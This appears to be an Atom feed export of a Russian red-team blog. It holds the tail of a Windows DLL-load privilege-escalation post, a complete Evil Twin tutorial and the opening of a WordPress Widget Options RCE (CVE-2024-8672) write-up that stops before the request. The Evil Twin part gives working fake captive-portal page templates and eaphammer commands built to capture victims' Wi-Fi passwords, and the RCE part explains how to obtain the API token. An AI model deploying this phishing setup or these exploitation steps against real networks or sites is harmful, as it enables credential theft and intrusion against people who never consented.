             ▼                   ▼
         DLL path              CLSID
             │                   │
             │             CoCreateInstance()
             │                   │
             │             InprocServer32
             │                   │
             └─────────┬─────────┘
                       ▼
                    DLL load
                       │
                       ▼
                 InstallService
                    SYSTEM
                       │
                       ▼
                 Code execution&lt;/pre&gt;
  &lt;p id=&quot;1zPf&quot;&gt;В первом варианте &lt;code&gt;StaticPluginMap&lt;/code&gt; непосредственно содержит путь к &lt;code&gt;DLL&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;XNQY&quot;&gt;Во втором он содержит &lt;code&gt;CLSID&lt;/code&gt;. &lt;code&gt;InstallService&lt;/code&gt; передаёт его в &lt;code&gt;CoCreateInstance()&lt;/code&gt;, после чего &lt;code&gt;COM&lt;/code&gt; получает &lt;code&gt;DLL&lt;/code&gt; через &lt;code&gt;InprocServer32&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;ieVL&quot;&gt;Таким образом, &lt;code&gt;CLSID&lt;/code&gt; — не обязательная часть эксплуатации. Это один из механизмов, через который контролируемый &lt;code&gt;StaticPluginMap&lt;/code&gt; может быть доведён до загрузки &lt;code&gt;DLL&lt;/code&gt;.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:captive_portal</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/captive_portal?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Похищение данных для подключения к Wi-Fi через Captive Portal</title><published>2025-01-22T09:22:38.279Z</published><updated>2025-01-22T09:22:38.279Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/2a/a9/2aa9a82c-1a75-455e-941d-43a4cb223716.png"></media:thumbnail><category term="pentest" label="Pentest"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/aa/54/aa543483-414a-4fc7-8274-50badc8c9de9.jpeg&quot;&gt;Наверняка каждый, кто когда-либо подключался к публичной Wi-Fi сети, сталкивался с так называемым порталом авторизации, или captive portal. В данной статье будет рассмотрен процесс создания фальшивой точки доступа (Evil Twin) с целью перехвата данных, которые жертва введет на портале авторизации нашей сети.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;7Dq1&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ALEa&quot;&gt;Наверняка каждый, кто когда-либо подключался к публичной &lt;code&gt;Wi-Fi&lt;/code&gt; сети, сталкивался с так называемым порталом авторизации, или &lt;code&gt;captive portal&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;L2j3&quot;&gt;&lt;strong&gt;Captive portal&lt;/strong&gt; — это веб-интерфейс, который появляется при попытке доступа к интернету через публичную Wi-Fi сеть. Он требует от пользователя выполнения определенных действий, таких как ввод логина и пароля, согласие с условиями использования или просмотр рекламы, прежде чем предоставить доступ к интернету.&lt;/blockquote&gt;
  &lt;p id=&quot;H54r&quot;&gt;Пример того как может выглядеть &lt;code&gt;Captive Portal&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;Twuk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a7/a8/a7a86e87-4c5d-43ba-a35a-da9556f29a5a.png&quot; width=&quot;956&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fytH&quot;&gt;В данной статье будет рассмотрен процесс создания фальшивой точки доступа (&lt;code&gt;Evil Twin&lt;/code&gt;) с целью перехвата данных, которые жертва введет на портале авторизации нашей сети.&lt;/p&gt;
  &lt;blockquote id=&quot;HMbN&quot;&gt;Evil Twin атака на Wi-Fi — это тип кибератаки, при которой злоумышленник создает поддельную точку доступа Wi-Fi, которая выглядит как легитимная. Пользователи, подключаясь к этой фальшивой сети, могут случайно раскрыть свои личные данные, такие как пароли и другую конфиденциальную информацию. Злоумышленник может перехватывать трафик и использовать его в своих целях.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;G4S2&quot;&gt;Evil Twin с Captive Portal — это более сложная версия этой атаки, где злоумышленник использует поддельный Captive Portal (веб-страницу, на которую перенаправляются пользователи для аутентификации или согласия на использование сети). После подключения к поддельной сети пользователи видят страницу, которая может имитировать легитимный портал, например, страницу входа в Wi-Fi в кафе или отеле. На этой странице злоумышленник может запрашивать ввод учетных данных, что позволяет ему получить доступ к личной информации жертвы.&lt;/blockquote&gt;
  &lt;p id=&quot;1dIV&quot;&gt;Более подробную информацию об атаках на &lt;code&gt;Wi-Fi&lt;/code&gt; сети можно найти &lt;a href=&quot;https://t.me/giscyberteam/86&quot; target=&quot;_blank&quot;&gt;здесь&lt;/a&gt; и &lt;a href=&quot;https://t.me/giscyberteam/87&quot; target=&quot;_blank&quot;&gt;здесь&lt;/a&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;J5To&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;7JXT&quot;&gt;Установка утилиты для атаки&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;FXNZ&quot;&gt;Для реализации атаки будет использована утилита &lt;a href=&quot;https://github.com/s0lst1c3/eaphammer&quot; target=&quot;_blank&quot;&gt;eaphammer&lt;/a&gt;. Если вы используете &lt;code&gt;Kali Linux&lt;/code&gt;, установку &lt;code&gt;eaphammer&lt;/code&gt; можно выполнить с помощью следующих команд:&lt;/p&gt;
  &lt;pre id=&quot;CtYN&quot;&gt;sudo apt update
sudo apt upgrade
sudo apt install eaphammer&lt;/pre&gt;
  &lt;p id=&quot;6S0a&quot;&gt;Если вы работаете с &lt;code&gt;Parrot OS&lt;/code&gt; или другой операционной системой, установку утилиты можно осуществить следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;517m&quot;&gt;git clone &amp;lt;https://github.com/s0lst1c3/eaphammer.git&amp;gt;
./parrot-setup # либо kali-setup, либо ubuntu-unattended-setup, либо raspbian-setup&lt;/pre&gt;
  &lt;p id=&quot;ksBo&quot;&gt;Более подробную информацию по установке можно найти &lt;a href=&quot;https://github.com/s0lst1c3/eaphammer/wiki/Setup-Guide&quot; target=&quot;_blank&quot;&gt;здесь&lt;/a&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Tx0f&quot;&gt;Создание страницы Captive Portal&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;PFmE&quot;&gt;Стандартная страница &lt;code&gt;Captive Portal&lt;/code&gt; имеет исключительно иллюстративный характер, и собрать какие-либо реальные данные с её помощью вряд ли удастся, так как пользователи, скорее всего, не будут вводить свои данные на подобной странице:&lt;/p&gt;
  &lt;figure id=&quot;B2E8&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7a/60/7a600c1c-4838-47a2-8e15-7a30a597f42a.png&quot; width=&quot;843&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tJHK&quot;&gt;Поэтому давайте перейдем к созданию собственного шаблона портала авторизации. Для начала разработаем простую &lt;code&gt;HTML&lt;/code&gt;-страницу, которая будет вызывать меньше подозрений. В результате запросов двумя промптами могущественному ИИ была создана следующая привлекательная страница:&lt;/p&gt;
  &lt;figure id=&quot;P6rA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/01/0e/010e811d-196b-43d0-861f-b6dcae17bb35.png&quot; width=&quot;1907&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xCvT&quot;&gt;Код страницы:&lt;/p&gt;
  &lt;pre id=&quot;P4O7&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;Wi-Fi Access&amp;lt;/title&amp;gt;
    &amp;lt;link href=&amp;quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;
    &amp;lt;style&amp;gt;
        body {
            background-color: #f8f9fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .card {
            width: 100%;
            max-width: 400px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: none;
        }
        .btn-primary {
            background-color: #007bff;
            border: none;
        }
        .btn-primary:hover {
            background-color: #0056b3;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;card p-4&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;text-center mb-4&amp;quot;&amp;gt;
            &amp;lt;img src=&amp;quot;static/giscyberteam.svg&amp;quot; alt=&amp;quot;Logo&amp;quot; class=&amp;quot;img-fluid mb-3&amp;quot; style=&amp;quot;max-height: 200px;&amp;quot;&amp;gt;
            &amp;lt;p class=&amp;quot;text-muted&amp;quot;&amp;gt;Вы были отключены от Wi-Fi сети &amp;lt;strong&amp;gt;GISCYBERTEAM&amp;lt;/strong&amp;gt;. Пожалуйста, введит&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;form&amp;gt;
            &amp;lt;div class=&amp;quot;mb-3&amp;quot;&amp;gt;
                &amp;lt;label for=&amp;quot;password&amp;quot; class=&amp;quot;form-label&amp;quot;&amp;gt;Пароль&amp;lt;/label&amp;gt;
                &amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot; class=&amp;quot;form-control&amp;quot; id=&amp;quot;password&amp;quot; placeholder=&amp;quot;Введите пароль от сети&amp;quot; requ&amp;gt;
		            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;username&amp;quot; value=&amp;quot;undefined&amp;quot;&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class=&amp;quot;d-grid&amp;quot;&amp;gt;
                &amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;btn btn-primary&amp;quot;&amp;gt;Подключиться&amp;lt;/button&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script src=&amp;quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;Ea8B&quot;&gt;К сожалению, &lt;code&gt;eaphammer&lt;/code&gt; не поддерживает &amp;quot;сырые&amp;quot; &lt;code&gt;HTML&lt;/code&gt;-страницы и принимает только шаблоны &lt;code&gt;Jinja&lt;/code&gt;. Также следует учесть несколько важных моментов:&lt;/p&gt;
  &lt;ol id=&quot;UUDU&quot;&gt;
    &lt;li id=&quot;rbYn&quot;&gt;Все файлы, подключаемые через &lt;code&gt;CDN&lt;/code&gt; (например &lt;code&gt;Bootstrap&lt;/code&gt;), должны быть доступны локально, так как клиент в сети &lt;code&gt;Evil Twin&lt;/code&gt; не будет иметь доступа к интернету и сможет получить их только с атакуемой машины.&lt;/li&gt;
    &lt;li id=&quot;hoza&quot;&gt;Все подключаемые файлы (изображения, стили и т.д.) должны находиться в директории &lt;code&gt;static&lt;/code&gt;, иначе веб-сервер &lt;code&gt;eaphammer&lt;/code&gt; не сможет их обнаружить.&lt;/li&gt;
    &lt;li id=&quot;65jr&quot;&gt;Файл &lt;code&gt;index.html&lt;/code&gt; должен быть разделен на &lt;code&gt;body.html&lt;/code&gt; и &lt;code&gt;head.html&lt;/code&gt;, которые будут содержать соответствующие секции исходной страницы.&lt;/li&gt;
    &lt;li id=&quot;ZVMG&quot;&gt;&lt;code&gt;eaphammer&lt;/code&gt; не обрабатывает &lt;code&gt;POST&lt;/code&gt;-параметры, кроме &lt;code&gt;username&lt;/code&gt; и &lt;code&gt;password&lt;/code&gt;. Более того, оба параметра должны присутствовать в запросе. Поэтому, даже если вам не требуется собирать, например, &lt;code&gt;username&lt;/code&gt;, необходимо создать скрытый &lt;code&gt;input&lt;/code&gt; с атрибутом &lt;code&gt;name=&amp;quot;username&amp;quot;&lt;/code&gt;.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;ClHS&quot;&gt;В соответствии с указанными требованиями, давайте создадим шаблон для &lt;code&gt;captive portal&lt;/code&gt;. Мы разделим его на две части: &lt;code&gt;head.html&lt;/code&gt; и &lt;code&gt;body.html&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;FJc0&quot;&gt;Код &lt;code&gt;head.html&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;yIqx&quot;&gt;{% block head %}
&amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;Wi-Fi Access&amp;lt;/title&amp;gt;
    &amp;lt;link href=&amp;quot;{{ url_for(&amp;#x27;static&amp;#x27;, filename=&amp;#x27;bootstrap.min.css&amp;#x27;) }}&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;
    &amp;lt;style&amp;gt;
        body {
            background-color: #f8f9fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .card {
            width: 100%;
            max-width: 400px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            border: none;
        }
        .btn-primary {
            background-color: #007bff;
            border: none;
        }
        .btn-primary:hover {
            background-color: #0056b3;
        }
    &amp;lt;/style&amp;gt;
{% endblock %}&lt;/pre&gt;
  &lt;p id=&quot;7i5G&quot;&gt;Код &lt;code&gt;body.html&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;8FPn&quot;&gt;{% block body %}
&amp;lt;div class=&amp;quot;card p-4&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;text-center mb-4&amp;quot;&amp;gt;
            &amp;lt;img src=&amp;quot;{{ url_for(&amp;#x27;static&amp;#x27;, filename=&amp;#x27;giscyberteam.svg&amp;#x27;) }}&amp;quot; alt=&amp;quot;Logo&amp;quot; class=&amp;quot;img-fluid mb-3&amp;quot; style&amp;gt;
            &amp;lt;p class=&amp;quot;text-muted&amp;quot;&amp;gt;Вы были отключены от Wi-Fi сети &amp;lt;strong&amp;gt;GISCYBERTEAM&amp;lt;/strong&amp;gt;. Пожалуйста, введит&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;
            &amp;lt;div class=&amp;quot;mb-3&amp;quot;&amp;gt;
                &amp;lt;label for=&amp;quot;password&amp;quot; class=&amp;quot;form-label&amp;quot;&amp;gt;Пароль&amp;lt;/label&amp;gt;
                &amp;lt;input type=&amp;quot;password&amp;quot; class=&amp;quot;form-control&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; placeholder=&amp;quot;Введите паро&amp;gt;
                &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;username&amp;quot; value=&amp;quot;undefined&amp;quot;&amp;gt;
&amp;lt;/div&amp;gt;
            &amp;lt;div class=&amp;quot;d-grid&amp;quot;&amp;gt;
                &amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;btn btn-primary&amp;quot;&amp;gt;Подключиться&amp;lt;/button&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script src=&amp;quot;{{ url_for(&amp;#x27;static&amp;#x27;, filename=&amp;#x27;bootstrap.bundle.min.js&amp;#x27;) }}&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
{% endblock %}&lt;/pre&gt;
  &lt;p id=&quot;cgjg&quot;&gt;Всё содержимое шаблона необходимо поместить в директорию &lt;code&gt;/usr/share/eaphammer/templates/&amp;lt;название шаблона&amp;gt;&lt;/code&gt;(в настоящем примере - &lt;code&gt;/usr/share/eaphammer/templates/giscyberteam&lt;/code&gt;).&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h3 id=&quot;9hTx&quot;&gt;Запуск Evil Twin с Captive Portal&lt;/h3&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wlzh&quot;&gt;Для запуска &lt;code&gt;Evil Twin&lt;/code&gt; с &lt;code&gt;Captive Portal&lt;/code&gt; можно использовать следующую команду:&lt;/p&gt;
  &lt;pre id=&quot;2QFa&quot;&gt;sudo eaphammer --essid GISCYBERTEAM --captive-portal --portal-template=giscyberteam --auth open --interface wlan0&lt;/pre&gt;
  &lt;p id=&quot;St0o&quot;&gt;Описание опций:&lt;/p&gt;
  &lt;p id=&quot;gByc&quot;&gt;&lt;code&gt;--essid&lt;/code&gt; - имя беспроводной сети&lt;/p&gt;
  &lt;p id=&quot;3vj1&quot;&gt;&lt;code&gt;--captive-portal&lt;/code&gt; - указывает &lt;code&gt;eaphammer&lt;/code&gt;, что после подключения к сети клиента необходимо направить на портал авторизации&lt;/p&gt;
  &lt;p id=&quot;zrwU&quot;&gt;&lt;code&gt;--portal-template&lt;/code&gt; - указывает название шаблона &lt;code&gt;captive portal&lt;/code&gt;. Фактически это название директории из &lt;code&gt;/usr/share/eaphammer/templates&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;7jVW&quot;&gt;&lt;code&gt;--auth&lt;/code&gt; - метод аутентификации (в настоящем примере &lt;code&gt;open&lt;/code&gt;, что значит подключение осуществляется без пароля&lt;/p&gt;
  &lt;p id=&quot;BfAZ&quot;&gt;&lt;code&gt;--interface&lt;/code&gt; - название интерфейса &lt;code&gt;Wi-Fi&lt;/code&gt; адаптера, на котором будет поднята точка доступа&lt;/p&gt;
  &lt;blockquote id=&quot;RzTJ&quot;&gt;Атака требует наличие адаптера Wi-Fi, способного поднимать собственную точку доступа (AP - Access Point).&lt;/blockquote&gt;
  &lt;p id=&quot;sPpD&quot;&gt;После запуска утилиты можно будет подключиться к фальшивой точке доступа:&lt;/p&gt;
  &lt;figure id=&quot;O8pL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2f/d4/2fd4458c-9738-4524-9d9a-5c3483db6c54.gif&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wiak&quot;&gt;В случае ввода данных пользователем они появятся в выводе &lt;code&gt;eaphammer&lt;/code&gt;’a:&lt;/p&gt;
  &lt;figure id=&quot;mO3u&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/be/4e/be4eb18c-9ef6-4f91-8c07-6be895447a19.png&quot; width=&quot;1253&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;bNcC&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;NQ89&quot;&gt;В заключение, в данной статье была рассмотрена атака &lt;code&gt;Evil Twin&lt;/code&gt;, реализованная через &lt;code&gt;Captive Portal&lt;/code&gt; с использованием кастомного шаблона веб-страницы для веб-сервера &lt;code&gt;eaphammer&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;VvbT&quot;&gt;Данная атака в значительной степени основывается на принципах социальной инженерии, что подчеркивает важность повышения осведомленности пользователей о потенциальных угрозах. &lt;/p&gt;
  &lt;p id=&quot;2hYM&quot;&gt;Для эффективной защиты от подобных атак настоятельно рекомендуется проводить регулярное обучение персонала основам информационной безопасности, что позволит снизить риски и повысить уровень защиты корпоративных сетей.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:wordpress_widget_options_cve_2024_8672</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/wordpress_widget_options_cve_2024_8672?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Remote Code Execution в Widget Options (WordPress Plugin) - CVE-2024-8672</title><published>2024-12-18T11:06:04.154Z</published><updated>2024-12-18T11:09:50.149Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/3c/d1/3cd11329-f107-4acc-a50a-cc080886d411.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/ab/7d/ab7de1bf-c55c-4d95-9601-999af7caaece.jpeg&quot;&gt;8 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с оценкой 9.9 по CVSS.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;y1N6&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;uzCO&quot;&gt;8 ноября 2024 года в плагине &lt;a href=&quot;https://ru.wordpress.org/plugins/widget-options/&quot; target=&quot;_blank&quot;&gt;Widget Options &lt;/a&gt;для &lt;code&gt;WordPress&lt;/code&gt;, который установлен более чем на &lt;code&gt;100,000 сайтах&lt;/code&gt;, была выявлена критическая уязвимость с оценкой &lt;code&gt;9.9&lt;/code&gt; по &lt;code&gt;CVSS&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;BVFg&quot;&gt;Уязвимость позволяет выполнять &lt;code&gt;удалённое исполнение вредоносного кода&lt;/code&gt; пользователю, имеющему права &amp;quot;&lt;code&gt;Contributor&lt;/code&gt;&amp;quot; и выше. Уязвимости подвержены все версии плагина ниже &lt;code&gt;4.0.7&lt;/code&gt; (включительно).&lt;/p&gt;
  &lt;blockquote id=&quot;k8gz&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Zd59&quot;&gt;Подготовка стендового окружения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Yo8C&quot;&gt;Для работы &lt;code&gt;WordPress&lt;/code&gt; необходимо установить веб-сервер с поддержкой &lt;code&gt;PHP&lt;/code&gt;, а также поднять &lt;code&gt;MySQL&lt;/code&gt;. В качестве тестового окружения будет использоваться &lt;a href=&quot;https://www.apachefriends.org/ru/index.html&quot; target=&quot;_blank&quot;&gt;XAMPP&lt;/a&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;ABLN&quot;&gt;Установка WordPress&lt;/h3&gt;
  &lt;p id=&quot;PYdF&quot;&gt;Заходим на &lt;a href=&quot;https://wordpress.org/download/&quot; target=&quot;_blank&quot;&gt;страницу загрузки&lt;/a&gt; &lt;code&gt;WordPress&lt;/code&gt; и скачиваем последнюю версию:&lt;/p&gt;
  &lt;figure id=&quot;EqR5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/a6/96a697bb-4473-44bf-8626-6957221ae162.png&quot; width=&quot;1908&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3jYJ&quot;&gt;Теперь нужно разархивировать &lt;code&gt;WordPress&lt;/code&gt; и перенести его в корневой каталог веб-сервера (для &lt;code&gt;XAMPP&lt;/code&gt; - &lt;code&gt;/opt/lampp/htdocs&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;jdhf&quot;&gt;cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/&lt;/pre&gt;
  &lt;p id=&quot;mWUu&quot;&gt;Также нужно изменить владельца папки &lt;code&gt;wordpress&lt;/code&gt; на пользователя веб-сервера (в случае с &lt;code&gt;XAMPP&lt;/code&gt; - &lt;code&gt;daemon&lt;/code&gt;):&lt;/p&gt;
  &lt;pre id=&quot;SM9s&quot;&gt;sudo chown -R daemon:daemon /opt/lampp/htdocs&lt;/pre&gt;
  &lt;p id=&quot;4JDN&quot;&gt;Дальнейшая установка происходит в &lt;code&gt;GUI WordPress&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;6Xnu&quot;&gt;Чтобы перейти к нему в браузере заходим на &lt;a href=&quot;http://127.0.0.1/wordpress&quot; target=&quot;_blank&quot;&gt;http://127.0.0.1/wordpress&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;PzPa&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4e/ca/4ecaf09b-c300-408e-b93b-d3cc66123c26.png&quot; width=&quot;794&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8L1W&quot;&gt;Здесь необходимо будет указать данные для подключения к &lt;code&gt;MySQL&lt;/code&gt; (для &lt;code&gt;XAMPP&lt;/code&gt; - имя пользователя &lt;code&gt;root&lt;/code&gt; и пустой пароль), а также создать админского пользователя:&lt;/p&gt;
  &lt;figure id=&quot;OrVO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b3/a9/b3a9c6e8-0bd5-4cf3-841b-c7df86d986b4.png&quot; width=&quot;758&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KKoZ&quot;&gt;&lt;code&gt;WordPress&lt;/code&gt; установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального &lt;a href=&quot;https://ru.wordpress.org/plugins/widget-options/advanced/&quot; target=&quot;_blank&quot;&gt;магазина плагинов WordPress&lt;/a&gt;.&lt;/p&gt;
  &lt;figure id=&quot;MNzJ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fa/db/fadb9ddc-bfbe-4c95-9347-948acdcb6440.png&quot; width=&quot;1646&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;W4py&quot;&gt;После скачивания архива необходимо добавить плагин в разделе &lt;code&gt;Plugins -&amp;gt; Installed Plugins&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;siir&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d4/eb/d4ebfe7d-3991-4439-880b-6b166a8c86f1.png&quot; width=&quot;1481&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;pMJk&quot;&gt;Для корректной работы плагина необходимо создать пользователя с правами &lt;code&gt;Contributor&lt;/code&gt; или выше. Это можно сделать в разделе &lt;code&gt;Users&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;qdbV&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bf/9d/bf9d3f91-bbd6-4209-9666-82a515253cb1.png&quot; width=&quot;1032&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;fLDF&quot;&gt;Эксплуатация уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;mt33&quot;&gt;Для эксплуатации уязвимости требуется предварительное получение токена &lt;code&gt;X-WP-Nonce&lt;/code&gt; для доступа к &lt;code&gt;API&lt;/code&gt;. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами &lt;code&gt;Contributor&lt;/code&gt; или выше, перейти в раздел &lt;code&gt;Pages&lt;/code&gt; и создать новую страницу:&lt;/p&gt;
  &lt;figure id=&quot;tB1x&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d5/7b/d57b3f09-efae-4ed5-a564-36e5b3921988.png&quot; width=&quot;1003&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;BWTu&quot;&gt;После этого открывается редактор новой страницы, который обращается к &lt;code&gt;API&lt;/code&gt; &lt;code&gt;WordPress&lt;/code&gt;, передавая заголовок &lt;code&gt;X-WP-Nonce&lt;/code&gt;, который нам и нужен:&lt;/p&gt;
  &lt;figure id=&quot;KNiY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e8/a2/e8a268b2-2a73-437d-a0be-252d9f6f4c28.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tGgy&quot;&gt;Теперь, для удалённого исполнения кода достаточно отправить &lt;code&gt;GET&lt;/code&gt; или &lt;code&gt;POST&lt;/code&gt; запрос:&lt;/p&gt;
